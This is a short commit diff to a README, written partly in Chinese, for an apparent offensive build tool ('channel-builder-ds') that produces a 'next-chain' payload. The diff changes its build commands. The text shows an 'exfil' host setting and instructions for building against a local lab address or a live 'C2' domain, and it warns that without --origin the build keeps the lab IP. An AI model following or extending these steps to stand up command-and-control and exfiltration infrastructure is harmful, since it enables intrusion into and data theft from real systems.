This commit is contained in:
hashbro
2026-08-24 07:19:10 +08:00
parent cd07fe62fd
commit 2c11a46f17
4 changed files with 60 additions and 4 deletions
+9 -4
View File
@@ -17,10 +17,15 @@ exfil: { host: "api.example.com", http_port: 443, https_port: 443, tls: true },
```
```bash
# 本地实验室
php artisan ds:build --origin http://192.168.31.130:8000
# 线上 C2(必须带 --origin,否则会沿用 source/config.js 里的 192.168.31.130)
php artisan ds:build --origin https://你的域名
# 等价
cd channel-builder-ds
python3 tools/build.py
python3 tools/build.py --host 192.168.31.130 --port 8000
python3 tools/build.py --origin http://192.168.31.130:8000
python3 tools/build.py --origin https://你的域名
```
Writes `../public/next-chain/` (atomic replace). `source/` is never mutated.
看产物用 `public/next-chain/config.js`,不要看 `source/config.js`(模板,构建不会改它)。